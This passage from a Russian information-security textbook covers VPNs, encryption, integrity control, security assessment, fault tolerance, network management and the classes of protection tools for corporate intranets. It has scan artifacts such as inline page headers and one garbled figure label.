временных условиях защитное средство, как виртуальные частные сети. Такие сети, наложенные обычно поверх Интернета, существенно дешевле и гораздо безопаснее, чем действительно собственные сети организации, построенные на выделенных каналах. Коммуникации на всем их протяжении физически защитить невозможно, поэтому лучше изначально исходить из предположения об уязвимости и соответственно обеспечивать защиту. Современные протоколы, направленные на поддержку классов обслуживания, помогут гарантировать для виртуальных частных сетей заданную пропускную способность, величину задержек и т. п., ликвидируя тем самым единственное на сегодняшний день реальное преимущество сетей собственных.
(Вопросы построения виртуальных частных сетей подробно рассматриваются во второй части учебника.)
5.6.6.	Шифрование
Шифрование - важнейшее средство обеспечения конфиденциальности. У компьютерной криптографии две стороны - собственно криптографическая и интерфейсная, позволяющая сопрягаться с другими частями ИС. Например, интерфейс GSS-API (Generic Security Service Application Program Interface, RFC 2078) защищает коммуникации между компонентами программных систем, построенных по архитектуре клиент-сервер, предоставляя им услуги по взаимной аутентификации и по обеспечению целостности и конфиденциальности пересылаемых сообщений. Важно, чтобы были обеспечены достаточное функциональное богатство интерфейсов и их стандартизация.
У современного шифрования есть и внутренние проблемы, как технические, так и нормативные. Из технических наиболее острой является проблема производительности. Программная реализация на универсальных процессорах не является адекватным средством (можно провести аналогию с компрессией видеоизображений). Еще одна техническая задача — разработка широкого спектра продуктов, предназначенных для использования во всех видах компьютерного и сетевого оборудования - от персональных коммуникаторов до мощных шлюзов. Из нормативных проблем отметим необходимость официального признания допустимости использования зарубежных средств и алгоритмов (поскольку это предписывается, например, спецификациями протокола IPSec).
(Подробнее вопросы криптографической защиты рассматриваются во второй части учебника.)
5.6.7.	Контроль целостности
В руководящих документах Гостехкомиссии РФ целостность информации определяется как способность средства вычислительной техники или автоматизированной системы обеспечивать неизменность информации в условиях случайного и/или преднамеренного искажения (разрушения). Также распространено определение целостности информации как отсутствие ненадлежащих изменений.
Контроль целостности относится к числу тех сервисов, для которых проблема производительности стоит не так остро, как в случае шифрования, и отечественные стандарты лучше согласуются с международными.
Любые внесенные в оригинальные файлы программы-закладки (как известные сегодня, так и те, что появятся в будущем) могут быть обнаружены в ходе проверок це
5. Обеспечение информационной безопасности е открытых системах
433
лостности. Они будут обнаружены по изменению длины, контрольной суммы и других параметров оригинального исполняемого файла.
В современных системах контроль целостности должен распространяться не только на отдельные порции данных (файлы, ключи и т. п.), аппаратные или программные компоненты. Он обязан охватывать распределенные конфигурации, защищать от несанкционированной модификации потоки данных. Еще надежнее осуществлять двойной контроль целостности - непрерывный контроль списка критических событий и контроль файлов, запускаемый при попытках несанкционированной подмены списка критических событий (кроме того, периодический контроль файлов).
В настоящее время существует достаточно решений для контроля целостности и с системной, и с сетевой направленностью (обычно контроль выполняется прозрачным для приложений образом как часть общей протокольной активности). Наиболее простым и одним из самых первых методов обеспечения целостности данных является метод контрольных сумм. Более совершенный способ контроля целостности данных- так называемый метод циклической проверки избыточности (Cyclic Redundancy Check, CRC). Данный алгоритм широко используется в аппаратных устройствах (дисковые контроллеры, сетевые адаптеры и др.) для верификации неизменности входной и выходной информации, а также во многих программных продуктах для выявления ошибок при передаче данных по каналам связи. Существенно более высокой надежности можно достичь, используя однонаправленные функции хеширования. И самым современным методом является применение ЭЦП, которая определяется в федеральном законе об ЭЦП как реквизит электронного документа, предназначенный для защиты данного электронного документа от подделки, полученный в результате криптографического преобразования информации с использованием закрытого ключа электронной цифровой подписи и позволяющий идентифицировать владельца сертификата ключа подписи, а также установить отсутствие искажения информации в электронном документе.
Процедура контроля целостности отдельного сообщения, или поля, включает в себя два процесса: один на передающей стороне, другой — на принимающей. На передающей стороне к сообщению добавляется избыточная информация, которая является функцией от сообщения (та или иная разновидность контрольной суммы). На принимающей стороне независимо генерируется контрольная сумма полученного сообщения с последующим сравнением результатов. Но данный механизм не защищает от дублирования сообщений (это делает, например, протокол IPsec).
Для проверки целостности потока сообщений: защиты от кражи, переупорядочения, дублирования и вставки сообщений - используются порядковые номера, временные штампы, криптографическое связывание, при котором результат шифрования очередного сообщения зависит от предыдущего, или иные аналогичные приемы. При общении в режиме без установления соединения использование временных штампов может обеспечить ограниченную форму защиты от дублирования сообщений. Стандартизован программный интерфейс к этому сервису (как часть ранее упомянутого общего интерфейса службы безопасности).
Интересны решения, предлагающие сетевую реализацию системы контроля целостности с целью повышения надежности защиты списков критических процессов и повышения эффективности функционирования системы защиты [94]. Эти решения распределяют задачи контроля между клиентской и серверной частями сетевой сис
434
Информационная безопасность открытых систем
темы защиты. Клиентская часть, устанавливаемая на рабочую станцию, предотвращает возможные нарушения целостности информации (программ и данных). С этой целью выделяются события, изменение которых может привести к последующему искажению данных, создаются списки разрешенных событий и осуществляется контроль правильности (неискаженности) данных списков. К таким событиям могут быть отнесены имя пользователя, имя запускаемого процесса и т. д. (может начать работу только зарегистрированный пользователь, при этом в системе может быть запущен только разрешенный процесс, т. е. выполнена только разрешенная команда и т. д.). В случае обнаружения попытки подмены данных в таблицах соответствующее событие уничтожается средствами ОС, о чем информируется сервер безопасности (передача информации на серверную часть). При получении команды от серверной части клиентская часть выполняет контроль файловой системы. Серверная часть, устанавливаемая на выделенном сервере безопасности, кроме функции централизованной регистрации событий, связанных с попытками НСД к файлам, и принятия решения о целесообразности проверки файловой системы с выдачей соответствующей команды на клиентскую часть, осуществляет контроль сохранности списков разрешенных событий. С целью защиты списков разрешенных событий клиентская часть осуществляет их периодическое копирование на серверную часть, где хранятся эталонные списки, и сравнение поступивших списков с эталоном. Кроме того, серверная часть осуществляет те же проверки, которые проводит и клиентская, на оборудовании, на которое она сама устанавливается.
5.6.8.	Контроль защищенности
Контроль защищенности, по сути, представляет собой попытку взлома ИС, осуществляемого силами самой организации или уполномоченными лицами. Идея данного сервиса в том, чтобы протестировать реакцию ИС на известные уязвимости в защите и обнаружить их раньше злоумышленников. В первую очередь имеются в виду не архитектурные (их ликвидировать сложно), а "оперативные" бреши, появившиеся в результате ошибок конфигурирования и администрирования или из-за невнимания к обновлению версий ПО.
Средства контроля защищенности позволяют накапливать и многократно использовать знания об известных атаках. Очевидна их схожесть с антивирусными средствами; формально последние можно считать их подмножеством. Очевиден и реактивный, запаздывающий характер подобного контроля (он не защищает от новых атак). Отметим также, что подавляющее большинство атак носит рутинный характер: они возможны только потому, что известные слабости годами остаются неустраненными.
Существует несколько типовых вариантов применения систем анализа защищенности.
Инвентаризация корпоративной сети с целью получения информации о ее компонентах. Чаще всего карта сети создается (если вообще создается) на этапе проектирования ИС. Затем она уже не поддерживается в актуальном состоянии и не может служить основой для контроля и обнаружения несанкционированных изменений. Кроме того, подобная информация находится только в управлениях информатизации и является недоступной для отделов защиты. Для построения сетевой составляющей этой карты можно использовать различные имеющиеся на рынке системы сетевого управления типа HP OpenView, SPECTRUM, Visio, Internet Scanner и т. п.
5. Обеспечение информационной безопасности в открытых системах_435
Такого рода инструменты включают в себя функцию AutoDiscovery, которая позволяет автоматически поддерживать актуальность сетевой карты, отслеживать все несанкционированные изменения в сетевой конфигурации и идентифицировать на узлах сети сетевые сервисы, заголовки активных сервисов, типы и версии используемых ОС и прикладного ПО, разделяемые ресурсы NetBIOS (NetBIOS Share) и общие параметры ПБ (политика аудита, использования паролей и учетных записей и т. д.).
Обнаружение неизвестных устройств. Злоумышленники могут подключать свои компьютеры к критическим сегментам сети с целью получения доступа к передаваемой конфиденциальной информации. Тогда они без труда получают доступ к паролям пользователей и администраторов, передаваемым по большинству протоколов, построенных на базе стека TCP/IP. Здесь же можно выделить и обнаружение модемов. Компьютеры, к которым подключены модемы, никак не защищены, и любой злоумышленник, обнаруживший такой "черный ход", может воспользоваться им для НСД к ресурсам, требующим защиты.
Анализ настроек сетевого оборудования и средств защиты (например, фильтрующих маршрутизаторов или более сложных МЭ). Выход из строя хотя бы одного маршрутизатора или коммутатора может надолго нарушить функционирование всей сети. Целью анализа является проверка защищенности коммуникационного оборудования и его подверженности различным атакам типа "отказ а обслуживании", нарушающим функционирование оборудования, или подбор пароля, позволяющего установить контроль над этим оборудованием.
Анализ редко используемых сетевых сервисов. Администраторы безопасности, как правило, защищают те компьютеры, на которых обрабатывается критическая информация (серверы приложений, веб-серверы, компьютеры платежной системы и т. п.). Однако общий уровень безопасности сети равен уровню безопасности самого слабого ее звена. Как отмечалось выше при рассмотрении типичных уязвимостей ОС, для редко используемых сервисов не устанавливают "заплат", устраняющих обнаруженные уязвимости. Поэтому недооценка в защите редко используемых сервисов, таких, как сервис сетевой печати или сетевого факса, может быть использована злоумышленниками для проникновения в интранет или компрометации ее информационных ресурсов.
Анализ защищенности рабочих станций. Пользователи, не обладая соответствующей квалификацией в области ИБ, подвергают все ресурсы большому риску, загружая из Интернета, и устанавливая непроверенное ПО или подключая к своему компьютеру модем. Также большую опасность представляет электронная почта, посредством которой злоумышленники могут внедрять на рабочие станции пользователей "троянские кони", крадущие пароли или позволяющие употреблять эти компьютеры в качестве базовой площадки для атаки на другие компьютеры сети.
Обнаружение конфигураций по умолчанию. Об этом уже упоминалось выше. Результат очевиден: злоумышленники, используя известные слабости таких конфигураций, чаще всего в ОС, проникают на узлы корпоративной сети.
Анализ защищенности удаленных офисов. Интерес злоумышленника направлен, как правило, к тем точкам интранета, где представляющая для них интерес информация, вероятно, не является защищенной, т. е. к узлам или сетям, с которыми установлены доверенные отношения. А удаленные офисы относятся именно к этой категории узлов.
436
Информационная безопасность открытых систем
Анализ защищенности доступа в Интернет. Целью данного анализа является выявление всех известных уязвимостей и неправильных конфигураций, в первую очередь веб-сервера, а также любых других устройств, находящихся в ДМ3 (FTP-, DNS-сервера, почтового сервера и т. п.).
Анализ защищенности специфических типов сетей. В связи с появлением и распространением новых сетевых технологий возникает необходимость анализа их уязвимости к типовым сетевым атакам, например возможности несанкционированного подключения устройств доступа, к DoS-атакам, подбору пароля к точкам доступа, неправильному конфигурированию и т. п. Для специфических сетей типа беспроводных (Wireless LAN), построенных на основе стандарта 802.11b, нужно проверять и характерные только для них уязвимости (в нашем случае это слабости Wired Equivalent Privacy, WEP).
Проведение детальных регулярных обследований с целью анализа защищенности корпоративных ресурсов и самих средств защиты.
Существуют как коммерческие, так и свободно распространяемые продукты для осуществления автоматизированного контроля защищенности. Важно не просто один раз установить их, но и постоянно обновлять БД типовых уязвимостей.
(Подробнее средства анализа защищенности рассматриваются во второй части учебника.)
5.6.9.	Обнаружение отказов и опера тивное восстановление
Одной из основных проблем построения сетей является задача обеспечения их продолжительного функционирования, что означает устранение неисправностей системы, порождаемых отказами (faults) и сбоями в ее работе. Обнаружение отказов и оперативное восстановление относится к числу сервисов, обеспечивающих надежность и высокую доступность (готовность) (high availability). Его работа опирается на элементы архитектурной безопасности, а именно на существование избыточности в аппаратно-программной конфигурации.
Современные сетевые технологии требуют устранения точек, выход которых из строя может привести к отказу всей сети. Сегодня при создании сетей характерно использование сложных сетевых устройств от различных поставщиков, таких, как маршрутизаторы и сетевые интеллектуальные коммутаторы (hubs). Маршрутизаторы, которые определяют путь данных в сетях, могут вычислить новый путь в случае отказа связи. Интеллектуальные коммутаторы могут иметь конфигурации с избыточными устройствами и могут изолировать отказы в физической сети для предотвращения отказа всей сети. Важную роль в поддержании оптимального функционирования систем играют также сетевые анализаторы, позволяющие вызвать системного менеджера по любому симптому, который может потенциально привести к простою. Как правило, системные компоненты типа драйверов, файловых систем и сетевых средств в случае какого-либо отказа просто возвращают приложению код ошибки. В ОС со средствами обеспечения высокой готовности имеется возможность генерировать сигналы тревоги, идентифицировать их источники и передавать информацию о них централизованному процессу обработки событий.
Повышение надежности основано на принципе предотвращения неисправностей путем снижения интенсивности отказов и сбоев за счет применения компонентов с высокой и сверхвысокой степенью интеграции, снижения уровня помех, облегчен
Б. Обеспечение информационной безопасности в открытых системах
437
ных режимов работы, а также за счет совершенствования методов сборки аппаратуры. Единицей измерения надежности является среднее время наработки на отказ (Mean Time Between Failure, MTBF). Повышение готовности предполагает подавление в определенных пределах влияния отказов и сбоев на работу системы с помощью средств контроля и коррекции ошибок, а также средств автоматического восстановления процессов после проявления неисправности, включая аппаратурную и программную избыточность, на основе которых реализуются различные варианты отказоустойчивых архитектур. Повышение готовности - это способ борьбы за снижение времени простоя системы. Единицей измерения здесь является коэффициент готовности, который определяет вероятность пребывания системы в работоспособном состоянии в любой произвольный момент времени. Статистически коэффициент готовности определяется как MTBF/(MTBF+MTTR), где MTTR (Mean Time То Repair) -среднее время восстановления (ремонта), т. е. среднее время между моментом обнаружения неисправности и моментом возврата системы к полноценному функционированию.
В настоящее время спектр программных и аппаратных средств данного класса можно считать сформировавшимся. На программном уровне соответствующие функции берет на себя ПО промежуточного слоя. Среди аппаратно-программных продуктов стандартом стали кластерные конфигурации (устройства, кластеризованные вместе, могут при отказе одного процессора перераспределить работу на другие процессоры внутри кластера, причем восстановление производится оперативно - десятки секунд, в крайнем случае минуты, прозрачным для приложений образом). Кроме того, современные конструкции систем высокой готовности предполагают использование горячего резерва (Fail-Over), включая переключение прикладных программ и пользователей на другую машину с гарантией отсутствия потерь или искажений данных во время отказа и переключения.
Отметим, что обнаружение отказов и оперативное восстановление может играть по отношению к другим средствам безопасности инфраструктурную роль, обеспечивая высокую готовность последних. Это особенно важно для МЭ, средств поддержки виртуальных сетей, серверов аутентификации, нормальное функционирование которых критично для ИС в целом. Такие комбинированные средства получают все более широкое распространение.
5.6.10.	Управление
Основными задачами управления сетью являются:
	обнаружение и локализация неисправностей в сетевом оборудовании и сети в целом в интересах минимизации времени восстановления;
	учет сетевых и информационных ресурсов в интересах обеспечения функций управления и планирования;
	контроль и управление производительностью сети и ее элементов в интересах поддержания ее работоспособности и рационального использования сетевых ресурсов;
	обеспечение ИБ.
Управление можно отнести к числу инфраструктурных сервисов, обеспечивающих нормальную работу функционально полезных компонентов и средств безопасности. Сложность современных систем такова, что без правильно организованного
438
Информационная безопасность открытых систем
управления они постепенно деградируют как в плане эффективности, так и в плане защищенности. Особенно важной функцией управления является контроль согласованности конфигураций различных компонентов (в смысле семантической согласованности, относящейся, например, к наборам правил нескольких МЭ), постоянное администрирование и проверка на соответствие политике безопасности.
Разработаны протоколы сетевого управления, определяющие стандартный метод контроля какого-либо устройства со станции управления с целью определения его состояния, настроек и иной информации, а также его модификации. Основным протоколом управления, используемым в семействе TCP/IP, является протокол SNMP. Сам протокол очень прост: он определяет только иерархическое пространство имен объектов управления и способ чтения/записи данных этих объектов на каждом узле. Основное преимущество этого протокола заключается в том, что он позволяет единообразным образом управлять всеми типами аппаратных средств, независимо от их назначения и особенностей. Он предоставляет удаленный текущий контроль и настройку маршрутизаторов, мостов, сетевых плат, коммутаторов и т. д.
Для управления обычно применяются так называемые платформы сетевого управления, позволяющие осуществлять обнаружение устройств в сети, объединять модули управления оборудованием разных производителей, выполнять общие функции управления и оповещения. Сегодня на рынке уже представлены продукты, обладающие достаточной интеллектуальностью, открытостью, расширяемостью, масштабируемостью, продукты, приемлемые по цене и по потребляемым ресурсам. В число наиболее известных платформ сетевого управления входят HP OpenView, Solstice Domain Manager (Sun Microsystems), CA Unicenter, IBM Tivoli, SNMPc (Castle Rock) и др. Они предоставляют через удобные интерфейсы такие функциональные возможности, как быстрое конфигурирование настроек сети, обнаружение устройств и каналов связи, составление карт сети, выявление возникающих проблем, управление портами сетевых устройств, контроль загрузки с составлением настраиваемых отчетов и отправкой предупредительных сообщений, наблюдение за сетевыми событиями, запуск программ настройки оборудования, а также предоставление графической и статистической информации о работе сети в масштабе реального времени.
(Вопросы адаптивного управления ИБ в сетях подробнее рассматриваются во второй части учебника.)
5.7.	Средства обеспечения информационной безопасности в открытых системах
Средства обеспечения ИБ в открытых системах рассмотрим на примере средств защиты ресурсов интранета. Условно они могут быть разделены на две большие группы - встроенные и наложенные средства (рис. 55).
Встроенные средства защиты уже изначально имеются в ряде систем, например в ОС, СУБД, многих сетевых устройствах, приложениях, сервисах и т. п. В основном они выполняют функции аутентификации, разграничения доступа, аудита, контроля целостности и защищенности. Только не нужно забывать настраивать их под конкретную среду использования.
Наложенные средства представляют собой самостоятельные системы программной, аппаратной или смешанной реализации, отдельно приобретаемые для создания
5. Обеспечение информационной безопасности в открытых системах
439
комплексной системы обеспечения ИБ интранета. Функциональные возможности этих средств очень широки - от обнаружения аномалий в работе интранета и его пользователей до создания сложных виртуальных локальных и частных сетей.
Разграничение доступа.
Аудит.
Контроль целостности.
Аутентификация.
Разграничение доступа.
Аудит.
Кадхракь ц,е.л-зстм.<1СОА.
Контроль защищенности.
Аутентификация.
Разграничение доступа.
Аудит. 
6
Рис. 55. Средства защиты в интранете: а — встроенные; б — наложенные
Средства защиты информации (СЗИ) от НСД, устанавливаемые в интранете с целью обеспечения ИБ, классифицируются в соответствии с нормативными документами Гостехкомиссии России по четырем подсистемам обеспечения информационной безопасности.
1.	Подсистема управления доступом.
1.1.	Идентификация, проверка подлинности и контроль доступа субъектов: в систему; к терминалам, ЭВМ, узлам сети ЭВМ, каналам связи, внешним устройствам ЭВМ; к программам; к томам, каталогам, файлам, записям, полям записей.
1.2.	Управление потоками информации.
440
Информационная безопасность открытых систем
2.	Подсистема регистрации и учета.
2.1.	Регистрация и учет: входа-выхода субъектов доступа в/из системы (узла сети); выдачи печатных выходных документов; запуска-завершения программ и процессов (заданий, задач); доступа программ субъектов доступа к терминалам, ЭВМ, узлам сети ЭВМ; каналам связи, внешним устройствам ЭВМ, программам, томам, каталогам, файлам, записям, полям записей; изменения полномочий субъектов доступа; создаваемых защищаемых объектов доступа.
2.2.	Учет носителей информации.
2.3.	Очистка (обнуление, обезличивание) освобождаемых областей оперативной памяти ЭВМ и внешних накопителей.
2.4.	Сигнализация попыток нарушения защиты.
3.	Криптографическая подсистема.
3.1.	Шифрование конфиденциальной информации.
3.2.	Шифрование информации, принадлежащей различным субъектам доступа (группам субъектов) на разных ключах.
3.3.	Использование аттестованных (сертифицированных) криптографических средств.
4.	Подсистема обеспечения целостности.
4.1.	Обеспечение целостности программных средств и обрабатываемой информации.
4.2.	Физическая охрана средств вычислительной техники и носителей информации.
4.3.	Наличие администратора (службы) защиты информации в АС.
4.4.	Периодическое тестирование СЗИ НСД.
4.5.	Физическая охрана средств вычислительной техники и носителей информации.
4.6.	Наличие средств восстановления СЗИ НСД.
4.7.	Использование сертифицированных средств защиты.
С учетом этой классификации и дифференциации продуктов на современном рынке наложенных средств защиты ресурсов интранета подразделим их на несколько основных категорий [http://www.sans.org/tools.php]. Правда, сразу отметим, что некоторые системы очень трудно отнести к какому-либо одному конкретному классу -они могут реализовывать меры защиты, характерные сразу для нескольких классов. (Зарубежные средства обеспечения ИБ в сетях (лидеры 2004 г. в своих категориях) приведены в прил. 5.)
1.	Средства управления доступом.
Аутентификация (authentication). Аутентификация — это процесс определения того, является ли кто-то (например, пользователь) или что-то (например, процесс) тем, за кого или за что он себя выдает. Самой привычной формой аутентификации является использование входных паролей, слабость которых очевидна: пароль можно забыть, украсть или узнать случайно. Специальные средства (например, токены (tokens) реализуют более надежную аутентификацию за счет того, что для получения доступа пользователь должен иметь что-то (сам токен) и еще знать что-то (персональный идентификационный номер PIN или пароль). Для аутентификации, кроме обычных паролей, применяются одноразовые пароли и биометрические средства.
Авторизация (authorization). Аутентификация отвечает на вопрос "Кто вы?", а авторизация предназначена для ответа на вопрос "Разрешено ли вам это делать?". Функционирующие на основе ПБ серверы авторизации позволяют приложениям, которыми чаще всего являются веб-серверы, централизованно объединять решение за
5. Обеспечение информационной безопасности в открытых системах
441
дач аутентификации и авторизации. Администратор ИБ определяет средства аутентификации (например, пароли) пользователей и методы контроля доступа. Каждый раз, когда пользователь пытается получить доступ к ресурсу, прежде чем ответить, приложение запрашивает сервер авторизации, просматривающий политики и правила безопасности.
Управление идентификацией (identity management). Это продукты, предназначенные для унификации данных о пользователях, управления аутентификацией, авторизацией, профилями и правами пользователей, а также аудита доступа. Общее содержание Identity Management можно описать как стандартизацию взаимодействия между ИС организации и индивидуумами, их использующими. Направление Identity Management является относительно молодым - самому термину Identity Management около четырех лет.
2.	Средства фильтрации.
Межсетевые экраны (firewalls). МЭ - эта система или комбинация систем, которые реализуют политику контроля доступа между двумя сетями/подсетями на основе различных правил фильтрации трафика.
Активный контекстный мониторинг/фильтрация (active content monitor-ing/filtering). Подключившись к другой сети, пользователь рискует получить компьютерный вирус, вредоносную программу на Java или Active X и многое другое. Средства, которые предназначены для осуществления активного контекстного мониторинга, тщательно исследуют всю приходящую на компьютер или в сеть информацию на возможное наличие разрушительных кодов (контекста) или перекрестных ссылок. Такое исследование осуществляется на основе сканирования и сравнения подозрительных признаков с постоянно обновляемыми библиотеками известных атак. Возможные проникновения разрушающих контекстов в сеть различны - от раздражающих помех при работе отдельного пользователя до полного останова работы сети и потери важных хранимых данных. Примеры систем подобного принципа действия таковы:
	Защита от распределенных атак "отказ в обслуживании"(antiDDoS tools). Средства защиты от DDoS-атак идентифицируют использование основной сети и выявляют аномалии, характерные для этого вида атак. Как только найдена аномалия, система защиты пытается выяснить, является ли эта аномалия допустимой, или это свидетельствует об атаке, а также выдает сообщения рекомендательного характера.
	Защита от компьютерных червей (anti-worm solutions). Средства предназначены для сдерживания широкого инфицирования компьютеров червями посредством их самовоспроизведения. Определяя уникальные методы и механизмы заражения хостов, эти средства немедленно блокируют источник атаки, таким образом снижая ущерб и позволяя осуществить полное восстановление системы. Для данных продуктов необходима высокая точность при автоматическом останове распространения червя и поддержании работоспособности сети во время критических моментов, когда атака только впервые появилась.
	Защита от спэма (spam protection). Средства защиты от спэма представляют собой программные средства для почтовых серверов или шлюзов. Они получают и фильтруют входящую почту (включая прикрепленные файлы) по заданным критериям либо на стороне сервера, либо в почтовых ящиках конечных пользователей.
442
Информационная безопасность открытых систем
3.	Средства защиты, использующие криптографические методы.
Удостоверяющий центр (certificate authority). Удостоверяющий центр - это организация, которая выпускает и управляет сертификатами и открытыми ключами, используемыми для шифрования и дешифрования сообщений. Это обязательная составляющая инфрастуктуры открытых ключей, так как она управляет процессом выдачи и проверки сертификатов, используемых людьми и системами для доступа к другим системам. Такие сертификаты содержат ключи, которые помогают усилить аутентификацию, защищенность и гарантируют "неотказуемость" (non-repudiation) от каких-либо действий.
Шифрование файлов и сеансов связи (file and session encryption). Шифрование — это процесс, преобразующий данные в форму, которая не может быть без соответствующих средств понята неавторизированными пользователями. Для шифрования и дешифрования применяются разнообразные алгоритмы.
Виртуальные частные сети и защищенные коммуникации (virtual private networks and cryptographic communications). Виртуальные частные сети создают защищенные коммуникации чаще всего поверх Интернета, что позволяет сэкономить средства организации, открывая для нее большие возможности по осуществлению мобильного взаимодействия (в том числе и через спутниковую связь), не прибегая к использованию дорогостоящих выделенных сетей.
Виртуальные частные сети на основе протокола SSL (SSL VPNs). Такие сети позволяют обеспечит защищенный удаленный доступ к корпоративным приложениям (почте, порталу, системам управления и т. п.) и совместное использование файлов на основе использования обычного веб-браузера через SSL-туннель в Интернете. Они стоят немного дешевле, чем традиционные виртуальные сети на основе протокола IPSec, поскольку не требуют наличия выделенного клиента.
4.	Средства защиты отдельных ресурсов интранет.
Защитные приложения (security appliances). Это комбинация программного и аппаратного обеспечения, чаще всего реализующая в едином целом функции МЭ и некоторые другие сервисы (типа управления сетевого нагрузкой). Такие средства имеют ограниченный набор функций ОС, за счет чего ими легко управлять, они не дороги и не так подвержены обычным атакам злоумышленников, как МЭ, установленные на платформах Unix или Windows.
Защищенные веб-серверы (secure Web servers). Средства защиты данной категории содержат веб-сервисы в среде, которая создается таким образом, чтобы минимизировать количество лазеек для проникновения злоумышленников.
Защищенные веб-приложения (Web application security). Это защита веб-приложений и их ресурсов от таких угроз, как кража активов компании, фальсификация транзакций покупки-продажи, получение частных сведений о клиентах и подмена страниц на веб-узле. Все это осуществляется за счет обнаружения и/или предотвращения вторжения злоумышленников в данный домен, которые могут быть реализованы даже при наличии МЭ и применении систем шифрования.
5.	Системы отражения вторжений и поиска уязвимостей.
Предотвращение вторжений (intrusion prevention). Системы для предотвращения вторжений созданы для того, чтобы постоянно реагировать на выявляемые попытки атаки посредством автоматического блокирования действий злоумышленников до того, как сети будет нанесен ущерб. В таких средствах должна быть реализована
5. Обеспечение информационной безопасности в открытых системах
443
большая точность, поскольку нужно распознавать несанкционированные действия и блокировать только их, при этом никак не затрагивая санкционированный трафик. Подобные системы располагаются как на границах сети, так и на хостах, соответствующих важным серверам.
Системное обнаружение вторжений (host-based intrusion detection). Средства системного обнаружения вторжений - это ПО, которое осуществляет мониторинг системы или лог-файлов приложений. При обнаружении вторжения, к которым относятся попытки пользователя получить НСД к данным, файлам или сервисам, эти средства выдают сигнал тревоги и при возможности начинают реализовывать меры защиты.
Сетевое обнаружение вторжений (network-based intrusion detection). Средства сетевого обнаружения вторжений осуществляют мониторинг сетевого трафика и оповещают о выявлении в трафике признаков, свидетельствующих о попытках сканирования, атаке "отказ в обслуживании" или других атаках. Такие средства обнаруживают попытки злоумышленников несанкционированно пробраться в компьютеры сети.
Сетевые сканеры уязвимостей (network-based vulnerability scanners). ПО или сервисы данного класса моделируют поведение атакующего и позволяют обнаружить наличие в сетевом трафике и протоколах сотни известных на сегодня уязвимостей, которыми может воспользоваться злоумышленник.
Системные сканеры уязвимостей (host-based vulnerability scanners). Такие сканеры проверяют настройки систем и выявляют, насколько хорошо они соответствуют принятой ПБ организации. Эти средства часто применяются аудиторами.
Сервисы безопасности: тесты на возможность проникновения (security services: penetration testing). Некоторые консалтинговые организации предлагают услуги по моделированию реальных атак злоумышленников на сети и системы организации и атак типа социальной инженерии (social engineering attacks), что позволяет обнаружить слабые места в защите и выдавать рекомендации по устранению выявленных проблем, представляющих угрозу для ИБ организации. Для этого применяются средства для сканирования уязвимости сетей.
Уведомления о защите/реакции на инциденты в реальном времени (real-time security awareness/incident response). Такой подход помогает администратору безопасности быть в курсе того, что происходит в организации и насколько эффективно работают средства защиты различных производителей с единой центральной консоли в реальном времени. Средства из этой категории помогают сократить персонал, занимающийся мониторингом работы средств защиты, и соответствующие расходы.
6.	Средства управления безопасностью сети.
Сервисы защиты: разработка политики безопасности (security services: policy development). Некоторые консалтинговые организации, имеющие богатый опыт работы с фирмами по разработке для них политик безопасности, создали типовые примеры таких ПБ, которые они быстро откорректируют в зависимости от требований конкретной организации. Они вырабатывают любые политики - начиная от использования электронной почты и кончая разработкой экстранета и инфраструктуры открытых ключей.
Реализация политики безопасности организации (enterprise security policy implementation). Средства реализации ПБ организации позволяют администраторам безопасности автоматизировать все шаги по управлению ПБ и осуществлять их с
444
Информационная безопасность открытых систем
единой консоли, включая создание, редактирование, усовершенствование, опубликование, доставку, обучение, аудит, отчетность и сопровождение. Эти средства следят за оповещением, оценивают понимание сотрудников, отслеживают инциденты и их разрешение, что помогает организациям улучшить управление рисками для ИТ, не расширяя штат специальных подразделений безопасности.
Средства администрирования безопасности организации (enterprise security administration). Они воплощают на практике принятую ПБ и создают для всех пользователей в сети организации равные условия и права для выполнения их должностных обязанностей. Такие системы особенно важны для предоставления доступа новым пользователям к соответствующим системам и, что еще важнее, для удаления пользователей по различным причинам из списков доступа.
Управляемые сервисы безопасности (managed security services). Различные поставщики предлагают управляемые сервисы защиты, решающие многие типовые задачи администрирования сети организации и позволяющие администраторам сосредоточиться на более важных проблемах.
Автоматизированное управление защищенными обновлениями (patch management systems). Системы управления установкой обновлений, устраняющих обнаруженные в программном и аппаратном сетевом обеспечении уязвимости, позволяют автоматически инсталлировать их удаленно по гетерогенной среде согласно имеющимся в системе настройкам.
5.8.	Создание комплексной системы обеспечения безопасности открытых систем
Для решения задачи обеспечения ИБ открытых систем используется целый комплекс средств, включающий в себя технические, программно-аппаратные средства и административные меры защиты информации.
Под безопасностью открытой системы будем понимать ее свойство, выражающееся в способности противодействовать попыткам нанесения ущерба владельцам и пользователям системы при различных возмущающих (умышленных и неумышленных) воздействиях на нее. Природа воздействия может быть различной: попытки проникновения злоумышленника, ошибки персонала, стихийные бедствия (наводнение, ураган, пожар), выход из строя отдельных ресурсов. Иначе можно сказать, что это состояние защищенности системы, способной противостоять негативным воздействиям на нее (п. 3.1).
Различают внутреннюю и внешнюю безопасность. Внешняя безопасность подразумевает защиту от стихийных бедствий, от проникновения злоумышленника извне с целями хищения, получения НСД к носителям информации или вывода системы из строя. Внутренняя безопасность заключается в обеспечении надежной и корректной работы системы, целостности ее программ и данных.
В настоящее время сложились два основных подхода к построению защиты для открытых систем [2]:
1)	фрагментарный - противодействие строго определенным угрозам при определенных условиях (например, специализированные антивирусные средства, автономные средства шифрования и т. д.);
5. Обеспечение информационной безопасности в открытых системах
445
2)	комплексный - объединяющий разнородные меры противодействия угрозам (правовые, организационные, программно-технические) для создания защищенной среды обработки информации.
Комплексный подход применяют для защиты крупных или небольших систем, обрабатывающих дорогостоящую информацию или выполняющих ответственные задачи.
Под защитой информации понимается комплекс мероприятий, обеспечивающих три основных ее свойства: конфиденциальность, целостность и доступность.
В составе каждой открытой системы либо должна быть предусмотрена собственная подсистема информационной безопасности (ПИБ), либо необходимые функции защиты должны обеспечиваться за счет ПИБ открытой системы более высокого уровня, включающей в себя данную систему. ПИБ — это взаимоувязанный комплекс организационных мер, аппаратно-программных и технических средств, обеспечивающих защиту от случайных и преднамеренных угроз, в результате реализации которых возможно нарушение доступности, целостности или конфиденциальности обрабатываемой информации. ПИБ включает также эксплуатационную документацию, в том числе набор тестов, которые используются как в ходе предварительных и приемочных испытаний, так и в ходе периодической и внеплановой проверки эффективности защиты информации в процессе эксплуатации системы.
При реализации ПИБ предполагается использование технологической защиты, защиты от НСД к защищаемым ресурсам, шифрования информации, аудита функционирования системы (отслеживающего деятельность пользователей и все системные события), контроля доступа в помещения, видеонаблюдения и т. д.
